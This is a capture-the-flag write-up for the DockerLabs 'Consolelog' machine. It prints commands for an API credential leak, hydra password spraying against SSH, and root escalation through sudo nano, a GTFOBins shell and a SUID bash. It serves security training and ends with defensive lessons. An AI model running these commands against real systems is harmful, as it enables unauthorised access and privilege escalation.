the_open_door
coffee
ESEN

Consolelog

DockerLabsEasyLinux172.17.0.2

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#api#info-disclosure#password-spraying#hydra#brute-force#sudo#gtfobins#nano#suid
TL;DR. Consolelog leaks a password through a misconfigured API: an endpoint that, given the right token, replies with lapassworddebackupmaschingonadetodas. With no user attached, we password spray that single password against SSH (on port 5000) until lovely hits. Their sudo rights on nano (GTFOBins) let us SUID /bin/bash and escalate to root with bash -p.

Recon

Initial scan

The port scan finds a web server and, further on, an API and an SSH on non-standard ports.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
nmap -sCV <ip> -oN targeted
whatweb http://<ip>

Directory fuzzing

dirsearch on the root and then on /backend reveals the logic of an API:

dirsearch -u http://<ip>
dirsearch -u http://<ip>/backend

Access: credential leak through the API

The endpoint and its token

/backend reveals an API listening on port 3000 that only accepts POST requests with a token. Sending the correct token, the server returns a backup password:

curl -X POST "http://<ip>:3000/recurso" --data "{'token':'tokentraviesito'}"
lapassworddebackupmaschingonadetodas

Password spraying against SSH

We have a password but no user. Instead of brute forcing passwords, we do the opposite: password spraying, fixing that single password and trying it against a large user list on SSH, which runs on port 5000:

hydra -L xato-net-10-million-usernames.txt -p lapassworddebackupmaschingonadetodas ssh://<ip>:5000 -t 64
[5000][ssh] host: <ip>   login: lovely   password: lapassworddebackupmaschingonadetodas

User lovely reuses the backup password (credential reuse: every found password is tried on each account and service, since reusing them across systems is the norm). We log in over SSH:

ssh lovely@<ip> -p 5000

Privilege escalation

lovely's sudo rights

lovely can run nano as root without a password:

sudo -l
User lovely may run the following commands:
    (root) NOPASSWD: /usr/bin/nano

nano is an editor with built-in command execution, so GTFOBins turns it into a root shell. Running sudo nano and pressing CTRL+T (open with external command) runs as root:

sudo nano
# In nano: CTRL+T  ->
reset; sh 1>&0 2>&0

On this box we use the equivalent path of SUID-ing bash from that same prompt:

chmod u+s /bin/bash

bash -p

With /bin/bash SUID, bash -p keeps root's EUID:

ls -l /bin/bash
bash -p
# id
uid=1000(lovely) gid=1000(lovely) euid=0(root) groups=...

Attack chain

HTTP  ->  /backend  ->  API (port 3000, POST + token)
    └─> leaks the backup password
            └─> password spraying (SSH port 5000)  ->  lovely
                    └─> sudo nano (CTRL+T)  ->  chmod u+s /bin/bash
                            └─> bash -p  ->  root

Lessons learned

  • An API that returns secrets is a credential leak. Replying with a backup password to a known token is as good as publishing it; secrets shouldn't travel in API responses.
  • With a password but no user, spray, don't brute force. Fixing the password with -p and varying the user (-L) is efficient when what you know is the key, not the account.
  • Non-standard ports aren't security. Moving SSH to 5000 and the API to 3000 hides nothing against a full port scan.
  • sudo nano is sudo bash. Any editor with an embedded shell (nano, vi, less) granted via sudo is a direct escalation; avoid granting them in sudoers.
Command cheatsheet 8 commands

Quick review